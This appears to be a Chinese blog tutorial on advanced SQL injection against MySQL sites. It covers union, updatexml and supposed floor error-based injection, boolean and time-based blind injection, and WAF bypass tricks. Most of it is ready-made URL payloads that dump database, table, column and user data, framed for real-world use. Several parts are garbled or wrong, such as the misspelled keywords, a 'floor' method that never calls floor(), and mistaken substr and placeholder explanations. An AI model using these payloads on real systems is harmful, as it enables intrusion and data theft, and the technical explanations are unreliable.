【网络安全】-sql 注入进阶

仅学会1' or 1='1  ,就有不少小菜鸟认为自己已经掌握了sql注入,迫不及待的拿着它去实战,却发现除新手入门级靶场-pikachu-master,没有那个网站搭理我们。

 原来1' or 1='1  准确的说是sql注入万能公式,是一种最常见的注入模式,学会它在十年前还能碰运气,到现在早就补丁上加补丁,别想学会它能怎么样,最多当成判断sql注入测试字符串使用

不想转行只能继续学习。。。

 

1.union联合注入:

它利用 sql语句中的 union操作符来合并两个或多个 SELECT 语句的结果集,并返回给应用程序,用来绕过应用程序的正常查询逻辑来执行未授权的查询。

步骤:

1.1    判断注入点,构造传参值           

->  ?id=1

  • SQL数据库查询语句: selecft * from users where id = ?   
  • ?是一个参数占位符,用于防止SQL注入
  • ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。

 

Get:注入点在IP地址处。

post注入点在数据提交框内,需抓包

1.1.1

->  ?id=1'  报错

      ?id=1' --+  正常

      字符型sql注入,闭合方式'

1.1.2

->  ?id=1"  报错

      ?id=1 " --+  正常

      字符型sql注入,闭合方式"

1.1.3

->  ?id=1"  报错

      ?id=1 --+  正常

      数字型sql注入.

特殊类:"(","=","+"具体方式具体判断。

-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。

#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。

1.2   ?id=1' order by 1--+ 

猜测行数,有返回信息,没有报错。

1.3    union联合注入

       1.3.1 爆库(database)

                ? id = 1'  union select database(), user() ,version()--+;

                union select database(), user() ,version()检索数据库的名称(database())、当前数据             库用户的名称(user())、以及MySQL的版本(version())。

          1.3.2   爆表(table)

        ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' -- +

  •   原始查询:id = '-1'   错误的执行语句,用来输出'后的语句。
  •   union 合并两个或多个SELECT语句的结果集,这里它被用来添加一个新的查询,试图从information_schema.tables表中检索数据库名下所有表的名称,    并使用group_concat函数将它们连接成一个单一的字符串输出,由于union要求每个select语句中的列数必须相同,且相应列的数据类型也必须兼容,因此通过在新查询中选择两个虚拟值(1,2)来匹配可能的原始查询结果集中的列数。
  •   group_concat()函数用于将多个表名合并为一个字符串返回。
  •     information_schema是MySQL的一个特殊数据库,包含了所有其他数据库的信息,如表名、列名等
      1.3.3  爆列

              ?id=-1' union select 1,2,group_concat(column_name) from          information_schema.columns where table_schema='数据库名' and table_name='表名' -- +

  • 原始查询:id = '-1'   错误的执行语句,用来输出'后的语句。
  •   union 合并两个或多个SELECT语句的结果集,这里它被用来添加一个新的查询,

这个查询从information_schema.columns表中检索指定数据库(table_schema)和表(table_name)中的所有列名,并使用group_concat函数将这些列名连接成一个单独的字符串输出,由于union要求每个select语句中的列数必须相同,且相应列的数据类型也必须兼容,因此通过在新查询中选择两个虚拟值(1,2)来匹配可能的原始查询结果集中的列数。

  •   group_concat()函数用于将多个表名合并为一个字符串返回。
  •     information_schema是MySQL的一个特殊数据库,包含了所有其他数据库的信息,如表名、列名等
      1.3.4   爆数据

           ?id=-1' union select 1,2,group_concat(列1, 列2 )from 表名 -- +

  • 原始查询:id = '-1'   错误的执行语句,用来输出'后的语句。
  •  通过union操作符,绕过正常的查询逻辑,添加一个新的SELECT语句,指定了要从表名中选择的列1,列2中匹配数据并输出。

 2.函数报错注入  (不常用)

      updatexml()函数

在sql注入中updatexml函数经常被用来触发错误消息

通过构造恶意的SQL查询,使得UPDATEXML函数接收到格式不正确的XML数据,它会返回一个错误,这个错误通常包含了触发错误的XML表达式的一部分。可以利用这一点,并在这个错误消息中捕捉到数据库的敏感信息

步骤:

1.1    判断注入点,构造传参值           

->  ?id=

  • SQL数据库查询语句: selecft * from users where id = ?   
  • ?是一个参数占位符,用于防止SQL注入
  • ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。

1.1.1

->  ?id=1'  报错

      ?id=1' '--+  正常

      字符型sql注入,闭合方式' '

1.1.2

->  ?id=1"  报错

      ?id=1 "--+  正常

      字符型sql注入,闭合方式"

1.1.3

->  ?id=1"  报错

      ?id=1 --+  正常

      数字型sql注入,闭合方式"

特殊类:"(","=","+"具体方式具体判断。

-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。

#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。

1.2   ?id=1' order by 1--+ 

猜测行数,有返回信息,没有报错。

1.3    updatexml函数注入

       1.3.1 爆库(database)         

                ? id = 1' and updatexml(1, concat(0x7e, (select concat_ws(',', database(), user(), version())), 0x7e), 1) --+ ; 

  •  原始查询:select * from table where id = ?
  • 0x7e 是十六进制表示法,代表波浪线(~)字符。
  • 这个语句执行一个 UPDATEXML 函数调用,用来触发一个错误,因为传递给 UPDATEXML 的第二个参数XML文档是格式不正确的,因为它包含了一个由 CONCAT  CONCAT_WS 函数生成的字符串,而不是有效的XML, UPDATEXML 函数因为格式不正确的XML而失败时,它会返回一个错误消息,这个错误消息,这个错误消息可能会泄露数据库的名称、当前数据库用户的信息以及数据库的版本号。
  •  CONCAT_WS 可以接受一个分隔符(逗号)和多个字符串或非字符串值(后者会被隐式转换为字符串),来将 database(), user(), 和 version() 函数的输出连接成一个字符串,并用逗号分隔输出。

          1.3.2   爆表(table)

                 ? id = 1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema = '库名' limit 0,1), 0x7e), 1) --+

      

  • ? id = 1':其中?是一个参数化查询的占位符,通过添加单引号(')来截断原始查询,并注入恶意代码。
  • and updatexml(...):是MySQL中的一个函数,用来触发一个错误,函数在第二个参数(即XML文档)不是有效时会返回一个错误泄露数据库信息
  • concat(0x7e, ..., 0x7e)concat函数用于将多个字符串值连接成一个字符串,将波浪线(~,十六进制表示为0x7e)和从information_schema.tables表中查询到的表名连接起来。如果查询成功,并且数据库配置为显示详细的错误消息,那么这些波浪线和表名可能会出现在错误消息中。
  • (select table_name from information_schema.tables where table_schema = '库名' limit 0,1):这是一个子查询,用于从information_schema.tables表中检索名为'库名'的数据库中的第一个表名。table_schema列包含了数据库的名称,而table_name列包含了表的名称。
  • --+:这是SQL注释的开始,用于忽略原始查询中可能存在的任何后续内容,它确保了注入的恶意代码之后的任何原始查询部分都不会被执行
  • information_schema是MySQL的一个特殊数据库,包含了所有其他数据库的信息,如表名、列名等

      1.3.3  爆列

            ?id=1' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name = '库名' limit 0,1), 0x7e), 1) -- +    

  • ?id=1',其中?是一个参数化查询的占位符,通过添加单引号(')来截断原始查询,注入恶意代码。
  • and updatexml(...):用来触发一个错误,第二个参数-XML文档被设置为不是有效的XML,函数将返回一个错误。
  • concat(0x7e, ..., 0x7e)CONCAT函数用于将多个字符串值连接成一个字符串。这里,它用于将波浪线(~,十六进制表示为0x7e)和从information_schema.columns表中查询到的列名连接起来如果查询成功,并且数据库配置为显示详细的错误消息,那么这些波浪线和列名可能会出现在错误消息中。
  • (select column_name from information_schema.columns where table_name = '库名' limit 0,1):这是一个子查询,用于从information_schema.columns表中检索名为'库名'的表中的第一个列名。
  • information_schema.columns表包含了数据库中所有表的列信息。
  • -- +:这是SQL注释的开始,用于忽略原始查询中可能存在的任何后续内容,确保了注入的恶意代码之后的任何原始查询部分都不会被执行。
  • LIMIT 0,1 正确地用于限制查询结果只返回一个行(即表中的第一行

 

 

      1.3.4   爆数据

             ?id=1' and updatexml(1, concat(0x7e, (select target_column from target_table limit 0,1), 0x7e), 1) -- +

  • target_column 是我们想要查询的列名。
  • target_table 是包含该列的表名。
  • concat(0x7e, ..., 0x7e) 用于将查询结果(如果有的话)用波浪线包围起来,这有助于在错误消息中识别它。
  • updatexml 函数被用来触发错误,第二个参数不是有效的XMLMySQL将返回一个错误消息,该消息包含查询结果的一部分。
  • LIMIT 0,1 正确地用于限制查询结果只返回一个行(即表中的第一行

 

floor()函数

foor() 函数向下取整,必须保证査询的表列数大于3

步骤:

1.1    判断注入点,构造传参值           

->  ?id=1

  • SQL数据库查询语句: selecft * from users where id = ?   
  • ?是一个参数占位符,用于防止SQL注入
  • ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。

1.1.1

->  ?id=1'  报错

      ?id=1' --+  正常

      字符型sql注入,闭合方式'

1.1.2

->  ?id=1"  报错

      ?id=1 "--+  正常

      字符型sql注入,闭合方式"

1.1.3

->  ?id=1"  报错

      ?id=1 --+  正常

      数字型sql注入,闭合方式"

特殊类:"(","=","+"具体方式具体判断。

-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。

#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。

1.2   ?id=1' order by 1--+ 

猜测行数,有返回信息,没有报错。

      

1.3    floor函数注入

       1.3.1 爆库(database)         

             ?id=1' and (select concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23) ) -- +

  •  原始查询:select * from table where id = ?

?id=1' 拼接select * from table where id = ?id=1’,其中 ?id 是一个参数占位符,通过在输入 1'来截断原始 语句的意图,并插入恶意代码。

  • and (select concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23) from information_schema.schemata) 这段代码目的是执行一个额外的 sql查询,尝试从 information_schema.schemata 表中检索数据库名。
  • select schema_name from information_schema.schemata limit 0,1:这部分查询从 information_schema.schemata 表中检索第一个数据库的名称(schema_name 列)。
  • information_schema 是一个特殊的数据库,它包含了所有其他数据库的信息,包括数据库名、表名、列名等。
  • limit 0,1 用于限制结果只返回一个数据库名。
  • concat(0x23,(select ...),0x23)concat 函数用于将多个字符串值连接成一个字符串,尝试将两个 # 字符(0x23  # 的十六进制表示)和从 information_schema.schemata 表中检索到的数据库名连接起来,输出查询的结果。

          1.3.2   爆表(table)  

                  ?id=1' and (select concat(0x23, (select table_schema from information_schema.tables where table_schema= database() limit 0,1), 0x23)) -- +

  • and (select concat(0x23, (select table_schema from information_schema.tables where table_schema= database() limit 0,1), 0x23)):这是实际的注入代码。
  • concat(0x23, ..., 0x23):这个函数将多个字符串连接成一个字符串。在这里,它使用 #0x23 的十六进制表示)作为分隔符,将数据库名(实际上是 table_schema 的值,即数据库名)和另一个 # 连接起来。
  • (select table_schema from information_schema.tables where table_schema= database() limit 0,1):这个查询从 information_schema.tables 表中检索当前数据库的名称。table_schema 列包含表所属的数据库名,where table_schema= database() 确保只选择当前数据库中的表。limit 0,1 确保只返回一个结果(即当前数据库的名称)。

      1.3.3  爆列

              ?id=1' and (select concat(0x23,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x23)) -- +  

  • select concat(0x23,(select column_name from ...),0x23):这部分是攻击者实际插入的 SQL 代码。它使用 concat 函数将三个字符串片段连接在一起:一个 # 字符(0x23 的十六进制表示),从 information_schema.columns 表中检索出的列名,以及另一个 # 字符。
  • from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1:这部分指定了 concat 函数中内部 select 语句的查询条件。它从 information_schema.columns 表中检索指定数据库(table_schema='数据库名')和表(table_name='表名')中的第一个列名。
  • -- + 这是为了防止原始 SQL 语句的剩余部分干扰注入的 SQL 代码。

      1.3.4   爆数据        

             ?id=1' and (select 1 from (select concat(0x23,(select username from users limit 0,1),0x23) ) -- +                 

  • 外层查询 select 1 from ...:这个查询实际上并不关心子查询返回什么,它只是确保整个 SQL 语句在语法上是正确的。
  • 子查询 select concat(0x23,(select username from users limit 0,1),0x23):这个查询执行了实际的攻击逻辑。
  • concat(0x23, ..., 0x23):这个函数将多个字符串连接成一个字符串。在这里,它使用 #0x23 的十六进制表示)作为分隔符,将 users 表中第一个用户的 username 字段值和另一个 # 连接起来。
  • (select username from users limit 0,1):这个查询从 users 表中检索第一个用户的 username 字段值。limit 0,1 确保只返回一个结果。

  

3.盲注 (重点)

页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。

        布尔盲注:

         构造包含逻辑判断and、or的sql语句,观察应用程序的响应来逐步猜测数据库中的信息,数据库名、表名、列名以及数据内容等。

步骤:

1.1    判断注入点,构造传参值           

->  ?id=1

  • SQL数据库查询语句: selecft * from users where id = ?   
  • ?是一个参数占位符,用于防止SQL注入
  • ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。

1.1.1

->  ?id=1'  报错

      ?id=1' --+  正常

      字符型sql注入,闭合方式'

1.1.2

->  ?id=1"  报错

      ?id=1 "--+  正常

      字符型sql注入,闭合方式"

1.1.3

->  ?id=1"  报错

      ?id=1 --+  正常

      数字型sql注入,闭合方式"

特殊类:"(","=","+"具体方式具体判断。

-- +是一个get传参时的 sql 注释,用于忽略原始查询中剩余的部分。

#是一个post传参时的 sql 注释,用于忽略原始查询中剩余的部分。

1.2   ?id=1' order by 1--+ 

猜测行数,有返回信息,没有报错。

1.3    注入

       1.3.1 爆库(database)              
第一步:爆长度

?id=1' and length(database())>数字--+

长度>1,2,3…… 返回正确,当返回错误,数字-1为长度。

第二步:爆库名
left函数:

?id=1' and left((select database()),1)>'字母'--+

判断该数据库的名字第一个字母是不是>'字母',a,b,c……

?id=1' and left((select database()),2)>'字母'--+

判断该数据库的名字第二个字母是不是>'字母',a,b,c……

?id=1' and left((select database()),3)>'字母'--+

判断该数据库的名字第三个字母是不是>'字母',a,b,c……

……

五次后,得出库名abcde

substr函数:

ascii值

?id=1' and select ascii(substr(database(),2,3))>121;

从第2位置开始,截取database第3位判断它是否大于121,所有字母数字都被编成数可在ascii表中查到,得出库名abcde。

mid函数

?id=1' and select mid((select database()),1,1)=char(121)--+

char(x)函数:将x的值转为所对应的字符。

like 函数

?id=1' and select database() like 'a%'--+

库名第一个字母为a。

?id=1' and select database() like 'ab%'--+

库名前两个字母为ab。

?id=1' and select database() like 'abc%'--+

库名前两个字母为abc。

……

五次后,得出库名abcde

          1.3.2   爆表(table)

                     同上

  

        1.3.3  爆列

                     同上

           

         1.3.4   爆数据

                     同上

 

      时间盲注:

               利用的是SQL语句中能导致执行时间延长的函数来制造时间延迟,通过观察页面的响应时间,如果页面响应时间明显延长,那么可以推断出注入的SQL语句被成功执行,从而根据这个时间差来逐步猜解数据库中的信息。

1.1    判断注入点,构造传参值           

        ->  ?id=1' and if(1=2,1 sleep(3))  --+

  • SQL数据库查询语句: selecft * from users where id = ?   
  • ?是一个参数占位符,用于防止SQL注入
  • ? id = 1:这里的?被替换为1',目的是关闭原始SQL语句中的字符串字面量,从而允许后续注入sql代码。
  • if(1=2,1 sleep(3))     

        if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y

        条件1=2显然是假的,当'为闭合符合,if函数会执行第三个参数sleep(3),即让数据库暂停执行3秒钟,如果没有继续尝试“,( ,#等符合。

1.2  

1.3  注入

  1.3.1 爆库(database)
 第一步:爆长度

假设长度为5.

?id=1' and if(length(database())>1,sleep(2),0) --+

         判断数据库长度是否大于1,执行sleep(2),使数据库暂停执行2秒钟

?id=1' and if(length(database())>2,sleep(2),0) --+

        判断数据库长度是否大于2,执行sleep(2),使数据库暂停执行2秒钟

?id=1' and if(length(database())>3,sleep(2),0) --+

        判断数据库长度是否大于3,执行sleep(2),使数据库暂停执行2秒钟

……

?id=1' and if(length(database())>5,sleep(2),0) --+

        判断数据库长度是否大于3,不是,返回0。

得出长度为5.

第二步:爆库名

?id=1' and if(ascii(substr(database(),1,1))=120,sleep(2),0) --+

判断第一个字母的ascii码是否为115,是,使数据库暂停执行2秒钟,不是,返回0。

  1.3.2   爆表(table)

      同上  

  1.3.3  爆列

      同上

           

   1.3.4   爆数据

     同上

4.waf 防火墙绕过注入

数据

大小写混合:

        UoioN selEet

解密编码:

       哈希,uncode,base 64

注释符混用:  

       / / -+# /**/+:%00 /!**/等

等价函数替换

user=@@user(

Hex0 bin0 等价于 asci0

sleep() 等价于 benchmarkO

特殊符号:

      [oxo9,oxoa-oxod,ox2o,oxao]

反序列化:    

         对代码进行反序列化操作

更改提交方法

         GET POST COOKIE 等

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值